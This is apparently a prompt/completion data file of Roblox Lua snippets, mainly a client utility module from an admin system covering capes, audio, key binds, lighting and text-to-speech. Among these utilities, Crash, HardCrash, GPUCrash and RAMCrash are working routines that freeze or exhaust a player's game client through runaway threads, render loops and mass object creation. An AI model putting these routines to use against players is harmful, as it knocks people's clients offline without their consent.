prompt
stringlengths 2
14.7k
| completion
stringlengths 1
99.7k
|
---|---|
--// Special Variables
|
return function()
local _G, game, script, getfenv, setfenv, workspace,
getmetatable, setmetatable, loadstring, coroutine,
rawequal, typeof, print, math, warn, error, pcall,
xpcall, select, rawset, rawget, ipairs, pairs,
next, Rect, Axes, os, tick, Faces, unpack, string, Color3,
newproxy, tostring, tonumber, Instance, TweenInfo, BrickColor,
NumberRange, ColorSequence, NumberSequence, ColorSequenceKeypoint,
NumberSequenceKeypoint, PhysicalProperties, Region3int16,
Vector3int16, elapsedTime, require, table, type, wait,
Enum, UDim, UDim2, Vector2, Vector3, Region3, CFrame, Ray, delay =
_G, game, script, getfenv, setfenv, workspace,
getmetatable, setmetatable, loadstring, coroutine,
rawequal, typeof, print, math, warn, error, pcall,
xpcall, select, rawset, rawget, ipairs, pairs,
next, Rect, Axes, os, tick, Faces, unpack, string, Color3,
newproxy, tostring, tonumber, Instance, TweenInfo, BrickColor,
NumberRange, ColorSequence, NumberSequence, ColorSequenceKeypoint,
NumberSequenceKeypoint, PhysicalProperties, Region3int16,
Vector3int16, elapsedTime, require, table, type, wait,
Enum, UDim, UDim2, Vector2, Vector3, Region3, CFrame, Ray, delay
local script = script
local service = service
local client = client
local Anti, Core, Functions, Process, Remote, UI, Variables
local function Init()
UI = client.UI;
Anti = client.Anti;
Core = client.Core;
Variables = client.Variables;
Functions = client.Functions;
Process = client.Process;
Remote = client.Remote;
end
getfenv().client = nil
getfenv().service = nil
getfenv().script = nil
client.Functions = {
Init = Init;
Kill = client.Kill;
GetRandom = function(pLen)
local Len = (type(pLen) == "number" and pLen) or math.random(10,15) --// reru
local Res = {};
for Idx = 1, Len do
Res[Idx] = string.format('%02x', math.random(255));
end;
return table.concat(Res)
end;
Round = function(num)
return math.floor(num + 0.5)
end;
SetView = function(ob)
if ob=='reset' then
workspace.CurrentCamera.CameraType = 'Custom'
workspace.CurrentCamera.CameraSubject = service.Player.Character.Humanoid
workspace.CurrentCamera.FieldOfView = 70
else
workspace.CurrentCamera.CameraSubject = ob
end
end;
AddAlias = function(alias, command)
Variables.Aliases[alias:lower()] = command;
Remote.Get("UpdateAliases", Variables.Aliases)
spawn(function()
UI.MakeGui("Notification",{
Time = 5;
Title = "Notification";
Message = "Alias added";
})
end)
end;
RemoveAlias = function(alias)
if client.Variables.Aliases[alias:lower()] then
Variables.Aliases[alias:lower()] = nil;
Remote.Get("UpdateAliases", Variables.Aliases)
spawn(function()
UI.MakeGui("Notification",{
Time = 5;
Title = "Notification";
Message = "Alias removed";
})
end)
else
spawn(function()
UI.MakeGui("Notification",{
Time = 5;
Title = "Notification";
Message = "Alias not found";
})
end)
end
end;
Dizzy = function(speed)
service.StopLoop("DizzyLoop")
if speed then
local cam = workspace.CurrentCamera
local last = tick()
local rot = 0
local flip = false
service.StartLoop("DizzyLoop","RenderStepped",function()
local dt = tick() - last
if flip then
rot = rot+math.rad(speed*dt)
else
rot = rot-math.rad(speed*dt)
end
if rot >= 2.5 or rot <= -2.5 then
--flip = not flip
end
cam.CoordinateFrame = cam.CoordinateFrame * CFrame.Angles(0, 0.00, rot)
last = tick()
end)
end
end;
Base64Encode = function(data)
local b = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
return ((data:gsub('.', function(x)
local r,b='',string.byte(x)
for i=8,1,-1 do r=r..(b%2^i-b%2^(i-1)>0 and '1' or '0') end
return r;
end)..'0000'):gsub('%d%d%d?%d?%d?%d?', function(x)
if (#x < 6) then return '' end
local c=0
for i=1,6 do c=c+(string.sub(x,i,i)=='1' and 2^(6-i) or 0) end
return string.sub(b,c+1,c+1)
end)..({ '', '==', '=' })[#data%3+1])
end;
Base64Decode = function(data)
local b = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
data = string.gsub(data, '[^'..b..'=]', '')
return (data:gsub('.', function(x)
if (x == '=') then return '' end
local r,f='',(string.find(b,x)-1)
for i=6,1,-1 do r=r..(f%2^i-f%2^(i-1)>0 and '1' or '0') end
return r;
end):gsub('%d%d%d?%d?%d?%d?%d?%d?', function(x)
if (#x ~= 8) then return '' end
local c=0
for i=1,8 do c=c+(string.sub(x,i,i)=='1' and 2^(7-i) or 0) end
return string.char(c)
end))
end;
GetGuiData = function(args)
local props = {
"AbsolutePosition";
"AbsoluteSize";
"ClassName";
"Name";
"Parent";
"Archivable";
"SelectionImageObject";
"Active";
"BackgroundColor3";
"BackgroundTransparency";
"BorderColor3";
"BorderSizePixel";
"Position";
"Rotation";
"Selectable";
"Size";
"SizeConstraint";
"Style";
"Visible";
"ZIndex";
"ClipsDescendants";
"Draggable";
"NextSelectionDown";
"NextSelectionLeft";
"NextSelectionRight";
"NextSelectionUp";
"AutoButtonColor";
"Modal";
"Image";
"ImageColor3";
"ImageRectOffset";
"ImageRectSize";
"ImageTransparency";
"ScaleType";
"SliceCenter";
"Text";
"TextColor3";
"Font";
"TextScaled";
"TextStrokeColor3";
"TextStrokeTransparency";
"TextTransparency";
"TextWrapped";
"TextXAlignment";
"TextYAlignment";
};
local classes = {
"ScreenGui";
"GuiMain";
"Frame";
"TextButton";
"TextLabel";
"ImageButton";
"ImageLabel";
"ScrollingFrame";
"TextBox";
"BillboardGui";
"SurfaceGui";
}
local guis = {
Properties = {
Name = "ViewGuis";
ClassName = "Folder";
};
Children = {};
}
local rLockedFound = false
local add; add = function(tab,child)
if not Anti.ObjRLocked(child) then
local good = false
for i,v in next,classes do
if child:IsA(v) then
good = true
end
end
if good then
local new = {
Properties = {};
Children = {};
}
for i,v in next,props do
pcall(function()
new.Properties[v] = child[v]
end)
end
for i,v in next,child:GetChildren()do
add(new,v)
end
table.insert(tab.Children, new)
end
else
rLockedFound = true
end
end
for i,v in next,service.PlayerGui:GetChildren()do
pcall(add,guis,v)
end
return guis
end;
LoadGuiData = function(data)
local make; make = function(dat)
local props = dat.Properties
local children = dat.Children
local gui = service.New(props.ClassName)
for i,v in next,props do
pcall(function()
gui[i] = v
end)
end
for i,v in next,children do
pcall(function()
local g = make(v)
if g then
g.Parent = gui
end
end)
end
return gui
end
local temp = Instance.new("Folder")
for i,v in next,service.PlayerGui:GetChildren()do
if not UI.Get(v) then
v.Parent = temp
end
end
Variables.GuiViewFolder = temp
local folder = service.New("Folder",{Parent = service.PlayerGui; Name = "LoadedGuis"})
for i,v in next,data.Children do
pcall(function()
local g = make(v)
if g then
g.Parent = folder
end
end)
end
end;
UnLoadGuiData = function()
for i,v in next,service.PlayerGui:GetChildren()do
if v.Name == "LoadedGuis" then
v:Destroy()
end
end
if Variables.GuiViewFolder then
for i,v in next,Variables.GuiViewFolder:GetChildren()do
v.Parent = service.PlayerGui
end
Variables.GuiViewFolder:Destroy()
Variables.GuiViewFolder = nil
end
end;
GetParticleContainer = function(target)
if target then
for i,v in next,service.LocalContainer():GetChildren()do
if v.Name == target:GetFullName().."PARTICLES" then
local obj = v:FindFirstChild("_OBJECT")
if obj.Value == target then
return v
end
end
end
end
end;
NewParticle = function(target, class, properties)
local effect, index;
properties.Parent = target;
properties.Enabled = Variables.ParticlesEnabled;
effect = service.New(class, properties);
index = Functions.GetRandom();
Variables.Particles[index] = effect;
table.insert(Variables.Particles, effect);
effect.Changed:Connect(function()
if not effect or not effect.Parent or effect.Parent ~= target then
pcall(function() effect:Destroy() end)
Variables.Particles[index] = nil;
end
end)
end;
RemoveParticle = function(target, name)
for i,effect in next,Variables.Particles do
if effect.Parent == target and effect.Name == name then
effect:Destroy();
Variables.Particles[i] = nil;
end
end
end;
EnableParticles = function(enabled)
for i,effect in next,Variables.Particles do
if enabled then
effect.Enabled = true
else
effect.Enabled = false
end
end
end;
NewLocal = function(class, props, parent)
local obj = service.New(class)
for prop,value in next,props do
obj[prop] = value
end
if not parent or parent == "LocalContainer" then
obj.Parent = service.LocalContainer()
elseif parent == "Camera" then
obj.Parent = service.Workspace.CurrentCamera
elseif parent == "PlayerGui" then
obj.Parent = service.PlayerGui
end
end;
MakeLocal = function(object,parent,clone)
if object then
local object = object
if clone then object = object:Clone() end
if not parent or parent == "LocalContainer" then
object.Parent = service.LocalContainer()
elseif parent == "Camera" then
object.Parent = service.Workspace.CurrentCamera
elseif parent == "PlayerGui" then
object.Parent = service.PlayerGui
end
end
end;
MoveLocal = function(object,parent,newParent)
local par
if not parent or parent == "LocalContainer" then
par = service.LocalContainer()
elseif parent == "Camera" then
par = service.Workspace.CurrentCamera
elseif parent == "PlayerGui" then
par = service.PlayerGui
end
for ind,obj in next,par:GetChildren()do
if obj.Name == object or obj == obj then
obj.Parent = newParent
end
end
end;
RemoveLocal = function(object,parent,match)
local par
if not parent or parent == "LocalContainer" then
par = service.LocalContainer()
elseif parent == "Camera" then
par = service.Workspace.CurrentCamera
elseif parent == "PlayerGui" then
par = service.PlayerGui
end
for ind,obj in next,par:GetChildren() do
if (match and string.match(obj.Name,object)) or (obj.Name == object or object == obj) then
obj:Destroy()
end
end
end;
NewCape = function(data)
local char = data.Parent
local material = data.Material or "Neon"
local color = data.Color or "White"
local reflect = data.Reflectance or 0
local decal = tonumber(data.Decal or "")
if char then
Functions.RemoveCape(char)
local torso = char:FindFirstChild("Torso") or char:FindFirstChild("UpperTorso") or char:FindFirstChild("HumanoidRootPart")
local isR15 = (torso.Name == "UpperTorso")
if torso then
local p = service.New("Part")
p.Name = "ADONIS_CAPE"
p.Anchored = false
p.Position = torso.Position
p.Transparency = 0
p.Material = material
p.CanCollide = false
p.TopSurface = 0
p.BottomSurface = 0
p.Size = Vector3.new(2,4,0.1)
p.BrickColor = BrickColor.new(color) or BrickColor.new("White")
p.Parent = service.LocalContainer()
if reflect then
p.Reflectance = reflect
end
local motor1 = service.New("Motor", p)
motor1.Part0 = p
motor1.Part1 = torso
motor1.MaxVelocity = .01
motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
motor1.C1 = CFrame.new(0,1-((isR15 and 0.2) or 0),(torso.Size.Z/2))*CFrame.Angles(0,math.rad(90),0)
local msh = service.New("BlockMesh", p)
msh.Scale = Vector3.new(0.9,0.87,0.1)
local dec
if decal and decal ~= 0 then
dec = service.New("Decal", p)
dec.Name = "Decal"
dec.Face = 2
dec.Texture = "http://www.roblox.com/asset/?id="..decal
dec.Transparency = 0
end
local index = Functions.GetRandom()
Variables.Capes[index] = {
Part = p;
Motor = motor1;
Enabled = true;
Parent = data.Parent;
Torso = torso;
Decal = dec;
Data = data;
Wave = true;
isR15 = isR15;
}
local p = service.Players:GetPlayerFromCharacter(data.Parent)
if p and p == service.Player then
Variables.Capes[index].isPlayer = true
end
if not Variables.CapesEnabled then
p.Transparency = 1
if dec then
dec.Transparency = 1
end
Variables.Capes[index].Enabled = false
end
Functions.MoveCapes()
end
end
end;
RemoveCape = function(parent)
for i,v in next,Variables.Capes do
if v.Parent == parent or not v.Parent or not v.Parent.Parent then
pcall(v.Part.Destroy,v.Part)
Variables.Capes[i] = nil
end
end
end;
HideCapes = function(hide)
for i,v in next,Variables.Capes do
local torso = v.Torso
local parent = v.Parent
local part = v.Part
local motor = v.Motor
local wave = v.Wave
local decal = v.Decal
if parent and parent.Parent and torso and torso.Parent and part and part.Parent then
if not hide then
part.Transparency = 0
if decal then
decal.Transparency = 0
end
v.Enabled = true
else
part.Transparency = 1
if decal then
decal.Transparency = 1
end
v.Enabled = false
end
else
pcall(part.Destroy,part)
Variables.Capes[i] = nil
end
end
end;
MoveCapes = function()
service.StopLoop("CapeMover")
service.StartLoop("CapeMover",0.1,function()
if Functions.CountTable(Variables.Capes) == 0 or not Variables.CapesEnabled then
service.StopLoop("CapeMover")
else
for i,v in next,Variables.Capes do
local torso = v.Torso
local parent = v.Parent
local isPlayer = v.isPlayer
local isR15 = v.isR15
local part = v.Part
local motor = v.Motor
local wave = v.Wave
local decal = v.Decal
if parent and parent.Parent and torso and torso.Parent and part and part.Parent then
if v.Enabled and Variables.CapesEnabled then
part.Transparency = 0
if decal then
decal.Transparency = 0
end
local ang = 0.1
if wave then
if torso.Velocity.magnitude > 1 then
ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05
end
v.Wave = false
else
v.Wave = true
end
ang = ang + math.min(torso.Velocity.magnitude/11, .8)
motor.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + 0.002
if isPlayer then
motor.DesiredAngle = -ang
else
motor.CurrentAngle = -ang -- bugs
end
if motor.CurrentAngle < -.2 and motor.DesiredAngle > -.2 then
motor.MaxVelocity = .04
end
else
part.Transparency = 1
if decal then
decal.Transparency = 1
end
end
else
pcall(part.Destroy,part)
Variables.Capes[i] = nil
end
end
end
end, true)
end;
CountTable = function(tab)
local count = 0
for i,v in next,tab do
count = count+1
end
return count
end;
ClearAllInstances = function()
local objects = service.GetAdonisObjects()
for i in next,objects do
i:Destroy()
objects[i] = nil
end
end;
PlayAnimation = function(animId)
if animId == 0 then return end
local char = service.Player.Character
local human = char:FindFirstChildOfClass("Humanoid")
local animator = human:FindFirstChildOfClass("Animator") or human:WaitForChild("Animator")
for i,v in pairs(animator:GetPlayingAnimationTracks()) do
v:Stop()
end
local anim = service.New('Animation')
anim.AnimationId = 'rbxassetid://'..animId
anim.Name = "ADONIS_Animation"
local track = animator:LoadAnimation(anim)
track:Play()
end;
SetLighting = function(prop,value)
if service.Lighting[prop]~=nil then
service.Lighting[prop] = value
Variables.LightingSettings[prop] = value
end
end;
LocalLighting = function(on)
if on then
service.StartLoop("LocalLighting","RenderStepped",function()
for prop,value in next,Variables.LightingSettings do
if service.Lighting[prop]~=nil then
service.Lighting[prop] = value
end
end
end)
else
service.StopLoop("LocalLighting")
end
end;
ChatMessage = function(msg,color,font,size)
local tab = {}
tab.Text = msg
if color then
tab.Color = color
end
if font then
tab.Font = font
end
if size then
tab.Size = size
end
service.StarterGui:SetCore("ChatMakeSystemMessage",tab)
if Functions.SendToChat then
Functions.SendToChat({Name = "::Adonis::"},msg,"Private")
end
end;
SetCamProperty = function(prop,value)
local cam = workspace.CurrentCamera
if cam[prop] then
cam[prop] = value
end
end;
SetFPS = function(fps)
service.StopLoop("SetFPS")
local fps = tonumber(fps)
if fps then
service.StartLoop("SetFPS",0.1,function()
local ender = tick()+1/fps
repeat until tick()>=ender
end)
end
end;
RestoreFPS = function()
service.StopLoop("SetFPS")
end;
Crash = function()
--[[
local load = function(f) return f() end
local s = string.rep("\n", 2^24)
print(load(function() return s end))--]]
--print(string.find(string.rep("a", 2^20), string.rep(".?", 2^20)))
--[[while true do
spawn(function()
spawn(function()
spawn(function()
spawn(function()
spawn(function()
spawn(function()
spawn(function()
spawn(function()
spawn(function()
spawn(function()
spawn(function()
print("Triangles.")
end)
end)
end)
end)
end)
end)
end)
end)
end)
end)
end)
end--]]
local Run = service.RunService;
local Lol = 0;
local Thread; function Thread()
Run:BindToRenderStep(tostring(Lol), 100, function() print"Stopping"; Thread(); end);
Lol = Lol + 1;
end;
Thread();
--local crash; crash = function() while true do repeat spawn(function() pcall(function() print(game[("%s|"):rep(100000)]) crash() end) end) until nil end end
--crash()
end;
HardCrash = function()
local crash
local tab
local gui = service.New("ScreenGui",service.PlayerGui)
local rem = service.New("RemoteEvent",workspace.CurrentCamera)
crash = function()
for i=1,50 do
service.Debris:AddItem(service.New("Part",workspace.CurrentCamera),2^4000)
print("((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)((((**&&#@#$$$$$%%%%:)")
local f = service.New('Frame',gui)
f.Size = UDim2.new(1,0,1,0)
spawn(function() table.insert(tab,string.rep(tostring(math.random()),100)) end)
rem:FireServer("Hiiiiiiiiiiiiiiii")
spawn(function()
spawn(function()
spawn(function()
spawn(function()
spawn(function()
print("hi")
spawn(crash)
end)
end)
end)
end)
end)
--print(game[("%s|"):rep(0xFFFFFFF)])
end
tab = {}
end
while wait(0.01) do
for i = 1,50000000 do
cPcall(function() client.GPUCrash() end)
cPcall(function() crash() end)
print(1)
end
end
end;
GPUCrash = function()
local crash
local gui = service.New("ScreenGui",service.PlayerGui)
crash = function()
while wait(0.01) do
for i = 1,500000 do
local f = service.New('Frame',gui)
f.Size = UDim2.new(1,0,1,0)
end
end
end
crash()
end;
RAMCrash = function()
while wait(0.1) do
for i = 1,10000 do
service.Debris:AddItem(service.New("Part",workspace.CurrentCamera),2^4000)
end
end
end;
KillClient = function()
client.Kill("KillClient called")
end;
KeyBindListener = function()
if not Variables then wait() end;
local timer = 0
Variables.KeyBinds = Remote.Get("PlayerData").Keybinds or {}
service.UserInputService.InputBegan:Connect(function(input)
local key = tostring(input.KeyCode.Value)
local textbox = service.UserInputService:GetFocusedTextBox()
if Variables.KeybindsEnabled and not (textbox) and key and Variables.KeyBinds[key] and not Variables.WaitingForBind then
local isAdmin = Remote.Get("CheckAdmin")
if (tick() - timer > 5 or isAdmin) and pcall(string.char, key) then
Remote.Send('ProcessCommand',Variables.KeyBinds[key],false,true)
UI.Make("Hint",{
Message = "[Ran] Key: "..string.char(key).." | Command: "..tostring(Variables.KeyBinds[key])
})
end
timer = tick()
end
end)
end;
AddKeyBind = function(key, command)
Variables.KeyBinds[tostring(key)] = command
Remote.Get("UpdateKeybinds",Variables.KeyBinds)
UI.Make("Hint",{
Message = 'Bound "'..string.char(key)..'" to '..command
})
end;
RemoveKeyBind = function(key)
if Variables.KeyBinds[tostring(key)] ~= nil then
Variables.KeyBinds[tostring(key)] = nil
Remote.Get("UpdateKeybinds",Variables.KeyBinds)
Routine(function()
UI.Make("Hint",{
Message = 'Removed "'..string.char(key)..'" from key binds'
})
end)
end
end;
BrickBlur = function(on,trans,color)
local exists = service.LocalContainer():FindFirstChild("ADONIS_WINDOW_FUNC_BLUR")
if exists then exists:Destroy() end
if on then
local pa = Instance.new("Part",workspace.CurrentCamera)
pa.Name = "ADONIS_WINDOW_FUNC_BLUR"
pa.Material = "Neon"
pa.BrickColor = color or BrickColor.Black()
pa.Transparency = trans or 0.5
pa.CanCollide = false
pa.Anchored = true
pa.FormFactor = "Custom"
pa.Size=Vector3.new(100,100,0)
while pa and pa.Parent and wait(1/40) do
pa.CFrame = workspace.CurrentCamera.CoordinateFrame*CFrame.new(0,0,-2.5)*CFrame.Angles(12.6,0,0)
end
else
for i,v in next,workspace.CurrentCamera:GetChildren()do
if v.Name == "ADONIS_WINDOW_FUNC_BLUR" then
v:Destroy()
end
end
end
end;
PlayAudio = function(audioId, volume, pitch, looped)
if Variables.localSounds[tostring(audioId)] then Variables.localSounds[tostring(audioId)]:Stop() Variables.localSounds[tostring(audioId)]:Destroy() Variables.localSounds[tostring(audioId)]=nil end
local sound = service.New("Sound")
sound.SoundId = "rbxassetid://"..audioId
if looped then sound.Looped = true end
if volume then sound.Volume = volume end
if pitch then sound.Pitch = pitch end
sound.Name = "ADONI_LOCAL_SOUND "..audioId
sound.Parent = service.LocalContainer()
Variables.localSounds[tostring(audioId)] = sound
sound:Play()
wait(1)
repeat wait(0.1) until not sound.IsPlaying
sound:Destroy()
Variables.localSounds[tostring(audioId)] = nil
end;
StopAudio = function(audioId)
if Variables.localSounds[tostring(audioId)] then
Variables.localSounds[tostring(audioId)]:Stop()
Variables.localSounds[tostring(audioId)]:Destroy()
Variables.localSounds[tostring(audioId)] = nil
elseif audioId == "all" then
for i,v in pairs(Variables.localSounds) do
Variables.localSounds[i]:Stop()
Variables.localSounds[i]:Destroy()
Variables.localSounds[i] = nil
end
end
end;
FadeAudio = function(audioId,inVol,pitch,looped,incWait)
if not inVol then
local sound = Variables.localSounds[tostring(audioId)]
if sound then
for i = sound.Volume,0,-0.01 do
sound.Volume = i
wait(incWait or 0.1)
end
Functions.StopAudio(audioId)
end
else
Functions.StopAudio(audioId)
Functions.PlayAudio(audioId,0,pitch,looped)
local sound = Variables.localSounds[tostring(audioId)]
if sound then
for i = 0,inVol,0.01 do
sound.Volume = i
wait(incWait or 0.1)
end
end
end
end;
KillAllLocalAudio = function()
for i,v in next,Variables.localSounds do
v:Stop()
v:Destroy()
table.remove(Variables.localSounds,i)
end
end;
RemoveGuis = function()
for i,v in next,service.PlayerGui:GetChildren()do
if not UI.Get(v) then
v:Destroy()
end
end
end;
SetCoreGuiEnabled = function(element,enabled)
service.StarterGui:SetCoreGuiEnabled(element,enabled)
end;
UnCape = function()
local cape = service.LocalContainer():FindFirstChild("::Adonis::Cape")
if cape then cape:Destroy() end
end;
Cape = function(material,color,decal,reflect)
local torso = service.Player.Character:FindFirstChild("HumanoidRootPart")
if torso then
local p = service.New("Part",service.LocalContainer())
p.Name = "::Adonis::Cape"
p.Anchored = true
p.Transparency=0.1
p.Material=material
p.CanCollide = false
p.TopSurface = 0
p.BottomSurface = 0
if type(color)=="table" then
color = Color3.new(color[1],color[2],color[3])
end
p.BrickColor = BrickColor.new(color) or BrickColor.new("White")
if reflect then
p.Reflectance=reflect
end
if decal and decal~=0 then
local dec = service.New("Decal", p)
dec.Face = 2
dec.Texture = "http://www.roblox.com/asset/?id="..decal
dec.Transparency=0
end
p.formFactor = "Custom"
p.Size = Vector3.new(.2,.2,.2)
local msh = service.New("BlockMesh", p)
msh.Scale = Vector3.new(9,17.5,.5)
wait(0.1)
p.Anchored=false
local motor1 = service.New("Motor", p)
motor1.Part0 = p
motor1.Part1 = torso
motor1.MaxVelocity = .01
motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
motor1.C1 = CFrame.new(0,1,torso.Size.Z/2)*CFrame.Angles(0,math.rad(90),0)--.45
local wave = false
repeat wait(1/44)
local ang = 0.1
local oldmag = torso.Velocity.magnitude
local mv = .002
if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05
wave = false
else
wave = true
end
ang = ang + math.min(torso.Velocity.magnitude/11, .5)
motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
motor1.DesiredAngle = -ang
if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then
motor1.MaxVelocity = .04
end
repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag) >=(torso.Velocity.magnitude/10) + 1
if torso.Velocity.magnitude < .1 then
wait(.1)
end
until not p or not p.Parent or p.Parent ~= service.LocalContainer()
end
end;
TextToSpeech = function(str)
local audioId = 296333956
local audio = Instance.new("Sound",service.LocalContainer())
audio.SoundId = "rbxassetid://"..audioId
audio.Volume = 1
local audio2 = Instance.new("Sound",service.LocalContainer())
audio2.SoundId = "rbxassetid://"..audioId
audio2.Volume = 1
local phonemes = {
{
str='%so';
func={17}
}; --(on)
{
str='ing';
func={41}
}; --(singer)
{
str="oot";
func={4, 26}; --oo,t
};
{
str='or';
func={10}
}; --(door) --oor
{
str='oo';
func={3}
}; --(good)
{
str='hi';
func={44, 19}; --h, y/ii
};
{
str='ie';
func={1}; --ee
};
{
str="eye";
func={19}; --y/ii
};
{
str="$Suy%s"; --%Suy
real="uy";
func={19}; --y/ii
};
{
str="%Sey%s"; --%Sey
func={1}; --ee
};
{
str="%sye"; --%sye
func={19}; --y/ii
};
--[[{
str='th';
func={30.9, 31.3}
}; --(think)--]]
{
str='the';
func={25, 15}; --th, u
};
{
str='th';
func={32, 0.2395}
}; --(this)
--[[
{
str='ow';
func={10, 0.335}
}; --(show) --ow
--]]
{
str='ow';
func={20}
}; --(cow) --ow
{
str="qu";
func={21,38};--c,w
};
{
str='ee';
func={1}
}; --(sheep)
{
str='i%s';
delay=0.5;
func={19}
}; --(I)
{
str='ea';
func={1}
}; --(read)
{
str='u(.*)e';
real='u';
capture=true;
func={9}
}; --(cure) (match ure) --u
{
str='ch';
func={24}
}; --(cheese)
{
str='ere';
func={5}
}; --(here)
{
str='ai';
func={6}
}; --(wait)
{
str='la';
func={39,6}
};
{
str='oy';
func={8}
}; --(boy)
{
str='gh';
func={44};
};
{
str='sh';
func={22}
}; --(shall)
{
str='air';
func={18}
}; --(hair)
{
str='ar';
func={16}
}; --(far)
{
str='ir';
func={11}
}; --(bird)
{
str='er';
func={12}
}; --(teacher)
{
str='sio';
func={35}
}; --(television)
{
str='ck';
func={21}
}; --(book)
{
str="zy";
func={34,1}; --z,ee
};
{
str="ny";
func={42, 1}; --n,ee
};
{
str="ly";
func={39, 1}; --l,ee
};
{
str="ey";
func={1} --ee
};
{
str='ii';
func={19}
}; --(ii?)
{
str='i';
func={2}
};--(ship)
{
str='y'; --y%S
func={37}
}; --(yes)
--[[
{
str='%Sy';
func={23.9, 24.4}
}; --(my)
--]]
{
str='y';
func={37}
}; --(my)
{
str='s';
func={23}
}; --(see)
{
str='e';
func={13};
}; --(bed)
--[[--]]
{
str='a';
func={14}
}; --(cat)
--[[
{
str='a';
func={6}
}; --(lazy) --ai--]]
{
str="x";
func={21, 23} --c, s
};
{
str='u';
func={15}
}; --(up)
{
str='o';
func={17}
}; --(on)
{
str='c';
func={21}
}; --(car)
{
str='k';
func={21}
}; --(book)
{
str='t';
func={26}
}; --(tea)
{
str='f';
func={27}
}; --(fly)
{
str='i';
func={2}
};--(ship)
{
str='p';
func={28}
}; --(pea)
{
str='b';
func={29}
}; --(boat)
{
str='v';
func={30}
}; --(video)
{
str='d';
func={31}
}; --(dog)
{
str='j';
func={33}
}; --(june)
{
str='z';
func={34}
}; --(zoo)
{
str='g';
func={36}
}; --(go)
{
str='w';
func={38}
}; --(wet)
{
str='l';
func={39}
}; --(love)
{
str='r';
func={40}
}; --(red)
{
str='n';
func={42}
}; --(now)
{
str='m';
func={43}
}; --(man)
{
str='h';
func={44}
}; --(hat)
{
str=' ';
func="wait";
};
{
str='%.';
func="wait";
};
{
str='!';
func="wait";
};
{
str='?';
func="wait";
};
{
str=';';
func="wait";
};
{
str=':';
func="wait";
};
}
game:service("ContentProvider"):Preload("rbxassetid://"..audioId)
local function getText(str)
local tab = {}
local str = str
local function getNext()
for i,v in ipairs(phonemes) do
local occ,pos = string.find(string.lower(str),"^"..v.str)
if occ then
if v.capture then
local real = v.real
local realStart,realEnd = string.find(string.lower(str),real)
--local captStart,captEnd = str:lower():find(v.str)
local capt = string.match(string.lower(str),v.str)
if occ>realEnd then
table.insert(tab,v)
getText(capt)
else
getText(capt)
table.insert(tab,v)
end
else
table.insert(tab,v)
end
str = string.sub(str,pos+1)
getNext()
end
end
end
getNext()
return tab
end
local phos=getText(str)
local swap = false
local function say(pos)
local sound=audio
--[[--]]
if swap then
sound=audio2
end--]]
sound.TimePosition=pos
--sound:Play()
--wait(0.2) --wait(pause)
--sound:Stop()
end
audio:Play()
audio2:Play()
for i,v in ipairs(phos) do
--print(i,v.str)
if type(v.func)=="string" then--v.func=="wait" then
wait(0.5)
elseif type(v)=="table" then
for l,p in ipairs(v.func) do
--[[--]]
if swap then
swap=false
else
swap=true
end--]]
say(p)
if v.delay then
wait(v.delay)
else
wait(0.1)
end
end
end
end
wait(0.5)
audio:Stop()
audio2:Stop()
end;
};
end
|
-- << CONFIGURATION >>
|
local rank = "HeadAdmin"
local rankType = "Perm" -- "Temp", "Server" or "Perm". For more info, visit: https://devforum.roblox.com/t/HD/266932
local successColor = Color3.fromRGB(0,255,0)
local errorColor = Color3.fromRGB(255,0,0)
|
--[Rurka]
|
pala1 = script.Parent.Parent.Part1
legansio = true
pala2 = script.Parent.Parent.Part2
legansio = true
pala3 = script.Parent.Parent.Part3
legansio = true
pala4 = script.Parent.Parent.Part4
legansio = true
pala5 = script.Parent.Parent.Part5
legansio = true
pala6 = script.Parent.Parent.Part6
legansio = true
pala7 = script.Parent.Parent.Part7
legansio = true
|
--- Creates an alias command
|
function Util.MakeAliasCommand(name, commandString)
return {
Name = name,
Aliases = {},
Description = commandString,
Group = "UserAlias",
Args = {
{
Type = "string",
Name = "Argument 1",
Description = "",
Default = ""
},
{
Type = "string",
Name = "Argument 2",
Description = "",
Default = ""
},
{
Type = "string",
Name = "Argument 3",
Description = "",
Default = ""
},
{
Type = "string",
Name = "Argument 4",
Description = "",
Default = ""
},
{
Type = "string",
Name = "Argument 5",
Description = "",
Default = ""
}
},
Run = function(context, ...)
local args = {...}
local commands = Util.SplitStringSimple(commandString, "&&")
for i, command in ipairs(commands) do
local output = context.Dispatcher:EvaluateAndRun(
Util.RunEmbeddedCommands(
context.Dispatcher,
Util.SubstituteArgs(command, args)
)
)
if i == #commands then
return output -- return last command's output
else
context:Reply(output)
end
end
return ""
end
}
end
|
-- determine their tool
|
local hasEquipped = _G.SD[player.UserId].Data.tempData.equippedSlot
if not hasEquipped then
return
end
local equippedTool = _G.SD[player.UserId].Data.equipment.toolbar[hasEquipped]
|
---------------------------------------------------------------------------------------------------------------------------
-- Functions
